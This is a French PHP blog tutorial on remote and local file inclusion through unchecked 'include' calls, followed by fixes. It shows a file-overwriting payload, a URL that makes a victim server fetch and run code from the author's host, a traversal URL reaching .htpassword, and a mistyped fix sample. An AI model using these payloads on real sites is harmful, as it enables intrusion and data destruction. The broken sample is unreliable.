Général

Les PCRE

Les POSIX

Pratique

Linux

Spécial php

Les billets de fred

Include : gouffre ou fêlure ?

On parle souvent de la faille de sécurité de l'include (ou require()), mais j'aimerais remettre les pendules à l'heure : include n'y est pour rien dans cette histoire et comme le dit mon confrère Nicolas Roudaire, la faille est généralement située entre le clavier et la chaise.

De quoi on parle là ?

Je parle des personnes qui utilisent un code comme celui-ci :
<?php
include $_REQUEST['page'];
?>

Ce code présente un grave danger pour la sécurité de votre site Web. En effet, imaginons que Nicolas ait écrit cela (purement imaginaire car Nicolas n'est pas aussi stupide), si je crée le code suivant :
<?php
$f = fopen('index.php', 'w');
fputs($f, 'hacké par fred !');
fclose( $f );
?>

Ensuite, je sauvegarde ça dans un fichier nommé "hack.txt" sur mon serveur et je me rends sur le site web de Nicolas en tapant :
http://www.site_de_nico.net/le_script.php?page=http://frederic.bouchery.free.fr/hack.txt

Que se passe-t-il ? En fait le script de Nicolas va télécharger mon code hack.txt et l'interpréter, ce qui aura pour conséquence de remplacer le contenu du script "index.php" par "hacké par fred !" !

Simple non ? Et encore, j'aurais pu faire un petit script qui parcourt tous ses répertoires pour effacer tous les fichiers qu'ils contiennent.

Attention : l'extension autre que ".php" est primordiale. En effet, si le script possède l'extension ".php", la requête lancée par le serveur de Nicolas engendrera l'exécution de celui-ci sur mon serveur. Le résultat du script étant vide (pas de "echo" ou de texte en dehors des balises PHP), Nicolas récupère un fichier vide.

Remarque : Cette interprétation des fichiers extérieurs n'est pas possible sur les versions Windows de PHP antérieures à la 4.3.0.

Comme vous pouvez le comprendre, ce n'est pas une faille de la fonction include à proprement parler, mais l'utilisation incorrecte que l'on peut en faire.
Comment éviter de tomber dans ce piège ?

Si vous n'avez pas l'intention d'utiliser des fichiers externes, vous pouvez désactiver leur ouverture en modifiant l'option allow_url_fopen dans votre php.ini.

Malheureusement, il n'est pas possible de le faire dans un htaccess et si vous n'avez pas la main sur la configuration du serveur une solution simple consiste à préfixer votre inclusion. C'est-à-dire, écrire un code comme celui-ci :
<?php
require 'inc/' . $_REQUEST[ 'page.php' ];
?>

Ainsi, il n'est plus possible d'accéder à un fichier extérieur car vous n'avez pas la possibilité d'utiliser "http:// (ou ftp://) au début du chemin d'accès.

Cool, merci du conseil, je vais toujours faire comme ça !

Houlaaa malheureux, non ! Cette astuce permet de ne pas ouvrir de fichiers extérieurs, mais elle présente encore une petite faille de sécurité.

Supposons que vous protégiez votre interface d'administration par un htaccess lié à un fichier de mots de passe nommé ".htpassword" dans le répertoire "admin" placé au même niveau que votre répertoire "inc". Si j'utilise l'URL suivante :
http://www.site_de_nico.net/le_script.php?page=../admin/.htpassword

Cela va remonter le répertoire "inc" pour replonger dans le répertoire "admin" et ouvrir le fichier ".htpassword". Bon, si vos mots de passe sont assez complexes, il n'y a pas trop de risque, mais sachez que l'on peut faire plein de choses avec une telle porte ouverte.

Il existe plusieurs solutions pour éviter de remonter les répertoires et la plus simple consiste à tester si le chemin contient la chaîne de caractères ".."
<?php
if( false !== strpos( $_REQUEST['page'], '..' ) ) die('Les hackers, dehors !' );
require 'inc/' . $_REQUEST['page'];
?>

Remarque : On pourrait penser qu'il suffit de tester la première lettre pour savoir si c'est un point, mais PHP autorise l'utilisation successive de "/" donc le chemin "/../admin" est possible car "inc//../admin" est valide. De plus, si le répertoire contient un sous-répertoire, on peut plonger dans celui-là pour remonter après sans utiliser de point en première position ("inc/sous_rep/../../admin").

Une autre solution peut être de préfixer vos scripts à inclure. Vous pouvez même les postfixer pour simplifier vos liens par exemple :
<?php
require 'inc/view' . $_REQUEST['page'] . '.php';
?>

Dans ce cas, il ne faut pas avoir de sous-répertoire "view" et vos liens ne contiennent plus l'extension ".php". Ainsi, on ne peut pas utiliser le point en début de chemin car "view." et "view.." ne sont pas des fichiers existants. De même que "/../.." n'est pas possible si le répertoire "view" n'existe pas.

Vos liens deviennent "le_script.php?page=accueil" ce qui est plus joli que "le_script.php?page=accueil.php"

Enfin, une dernière solution un peu plus barbare est de tester les solutions possibles en recherchant le résultat dans un tableau :
<?php
$actions = array(
  'accueil' => 'accueil_visiteur',
  'membre' => 'accueil_membre',
  'admin' => 'administration'
);

if( !isset( $actions[ $_REQUEST['page'] ] ) ) $action = 'accueil_visiteur';
else $action = $actions[ $_REQUEST['page'] ];

require "inc/$action.php";
?>

Remarque : N'utilisez pas l'horrible "switch" car il est moins performant que le tableau, moins clair et moins maintenable.

Par Frédéric Bouchery



ADAM Benjamin 2008 | Admin